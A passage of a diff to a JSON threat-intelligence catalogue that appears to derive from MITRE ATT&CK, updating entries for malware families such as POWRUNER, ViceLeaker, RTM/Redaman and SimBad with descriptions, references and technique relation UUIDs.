"7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "d2c7f8ad-3b50-4cfa-bbb1-799eff06fb40", + "value": "build_downer - S0471" + }, { "description": "[POWRUNER](https://attack.mitre.org/software/S0184) is a PowerShell script that sends and receives commands to and from the C2 server. (Citation: FireEye APT34 Dec 2017)", "meta": { @@ -20358,7 +22904,7 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20386,14 +22932,14 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20407,7 +22953,7 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20428,7 +22974,7 @@ "type": "uses" }, { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20442,7 +22988,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20456,14 +23002,14 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20475,13 +23021,147 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "09b2cd76-c674-47cc-9f57-d2f2ad150a46", "value": "POWRUNER - S0184" }, { - "description": "[RTM](https://attack.mitre.org/software/S0148) is custom malware written in Delphi. It is used by the group of the same name ([RTM](https://attack.mitre.org/groups/G0048)). (Citation: ESET RTM Feb 2017)", + "description": "[ViceLeaker](https://attack.mitre.org/software/S0418) is a spyware framework, capable of extensive surveillance and data exfiltration operations, primarily targeting devices belonging to Israeli citizens.(Citation: SecureList - ViceLeaker 2019)(Citation: Bitdefender - Triout 2018)", + "meta": { + "external_id": "S0418", + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/software/S0418", + "https://securelist.com/fanning-the-flames-viceleaker-operation/90877/", + "https://labs.bitdefender.com/2018/08/triout-spyware-framework-for-android-with-extensive-surveillance-capabilities/" + ], + "synonyms": [ + "ViceLeaker", + "Triout" + ] + }, + "related": [ + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d8940e76-f9c1-4912-bea6-e21c251370b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "6fcaf9b0-b509-4644-9f93-556222c81ed2", + "value": "ViceLeaker - S0418" + }, + { + "description": "[RTM](https://attack.mitre.org/software/S0148) is custom malware written in Delphi. It is used by the group of the same name ([RTM](https://attack.mitre.org/groups/G0048)). Newer versions of the malware have been reported publicly as Redaman.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)", "meta": { "external_id": "S0148", "mitre_platforms": [ @@ -20489,10 +23169,12 @@ ], "refs": [ "https://attack.mitre.org/software/S0148", - "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf", + "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/" ], "synonyms": [ - "RTM" + "RTM", + "Redaman" ] }, "related": [ @@ -20504,7 +23186,7 @@ "type": "similar" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20553,14 +23235,14 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20574,14 +23256,14 @@ "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20595,7 +23277,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20616,14 +23298,14 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20651,14 +23333,14 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20672,7 +23354,98 @@ "type": "uses" }, { - "dest-uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1", + "dest-uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bd9c723-2f78-4309-82c5-47cad406572b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20682,6 +23455,68 @@ "uuid": "92ec0cbd-2c30-44a2-b270-73f4ec949841", "value": "RTM - S0148" }, + { + "description": "[SimBad](https://attack.mitre.org/software/S0419) was a strain of adware on the Google Play Store, distributed through the RXDroider Software Development Kit. The name \"SimBad\" was derived from the fact that most of the infected applications were simulator games. The adware was controlled using an instance of the open source framework Parse Server.(Citation: CheckPoint SimBad 2019)", + "meta": { + "external_id": "S0419", + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/software/S0419", + "https://research.checkpoint.com/simbad-a-rogue-adware-campaign-on-google-play/" + ], + "synonyms": [ + "SimBad" + ] + }, + "related": [ + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "f79c01eb-2954-40d8-a819-00b342f47ce7", + "value": "SimBad - S0419" + }, { "description": "[MoonWind](https://attack.mitre.org/software/S0149) is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. (Citation: Palo Alto MoonWind March 2017)", "meta": { @@ -20726,13 +23561,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", "tags": [ @@ -20748,14 +23576,14 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20776,21 +23604,14 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20825,7 +23646,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20837,6 +23658,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", @@ -20873,7 +23708,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20928,7 +23763,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20969,7 +23804,7 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20983,7 +23818,7 @@ "type": "uses" }, { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21016,6 +23851,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "f6d1d2cb-12f5-4221-9636-44606ea1f3f8", @@ -21045,7 +23894,7 @@ "type": "similar" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21107,21 +23956,21 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", + "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21148,7 +23997,7 @@ }, "related": [ { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21203,28 +24052,28 @@ "type": "similar" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21251,14 +24100,14 @@ }, "related": [ { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21293,14 +24142,14 @@ }, "related": [ { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21321,7 +24170,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21335,28 +24184,28 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21377,7 +24226,7 @@ "https://attack.mitre.org/software/S0176", "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf", "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/", - "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha" + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha" ], "synonyms": [ "Wingbird" @@ -21385,7 +24234,7 @@ }, "related": [ { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21399,14 +24248,14 @@ "type": "uses" }, { - "dest-uuid": "6e6845c2-347a-4a6f-a2d1-b74a18ebd352", + "dest-uuid": "f0589bc3-a6ae-425a-a3d5-5659bfee07f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21420,21 +24269,21 @@ "type": "uses" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21475,21 +24324,21 @@ "type": "similar" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21510,7 +24359,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21553,7 +24402,7 @@ "type": "similar" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21567,28 +24416,28 @@ "type": "uses" }, { - "dest-uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79", + "dest-uuid": "6836813e-8ec8-4375-b459-abb388cb1a35", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "41d9846c-f6af-4302-a654-24bba2729bc6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2892b9ee-ca9f-4723-b332-0dc6e843a8ae", + "dest-uuid": "ce4b7013-640e-48a9-b501-d0025a95f4bf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21602,28 +24451,14 @@ "type": "uses" }, { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21637,28 +24472,49 @@ "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d", + "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": 